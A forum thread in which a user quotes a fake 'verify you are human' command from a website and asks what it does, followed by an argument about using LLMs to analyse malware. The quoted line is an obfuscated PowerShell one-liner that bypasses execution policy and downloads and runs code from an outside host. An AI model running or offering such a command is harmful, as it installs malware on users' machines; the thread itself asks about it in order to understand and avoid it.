What does this command do that this website wants me to "verify" myself by running in the run window?
(sh.itjust.works)
Yeah don't put this in but can anyone give me an idea of what they were trying to do? the website was https:\howchoo.\com\3dprinting\updating-octoprint
and used a real pc verification screen to try to get me to put this in Run 
conhost cmd /c powershell /ep bypass /e JABzAGkAdABlACAAPQAgAEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgACcAaAB0AHQAcABzADoALwAvAG0AYQBzAHQAcgBhAHcALgB0AG8AcAAvAG0AZQAvAGQAYQB5ACcAOwAgAGkARQB4ACAAJABzAGREDACTED== /W 1
Chill out you, we all know it was malware, but llms are actually a tool in this use case to find out more about it without executing the code.
I don't like AI anymore than the next guy but this is just a silly response
Fucking priceless. The LLM didn't explain anything beyond what was obvious from just looking at it. It was trying to get you to run a privileged executable. The LLM doesn't have a clue what the executable does, and even admits that. So why bother asking it?
Let's take the tech out of it. You're at a restaurant and you're given a beverage in a glass, but you can see the glass is dirty with food residue. Do you have to consult an LLM to know not to drink out of it? Does it matter what sort of food residue it is? Of course not.
I swear people's critical thinking skills are non-existent or in complete atrophy these days. The only thing of potential interest is the executable itself and if you're posting this question, I'm not sure any explanation or details would mean anything to you.
Yeah but the LLM isn't the one making a scene
Making a scene?! Oh no! Have I shattered the fragile Lemmy decorum with my boorish behavior? How dreadful!
Listen, if you want to believe an LLM has anything useful to say about the malware you're presented with on dodgy sites, go for it.
And I'll be free to think you're a prime example for why we should start requiring a "drivers license" to get on a computer. To each their own.
Alright buddy
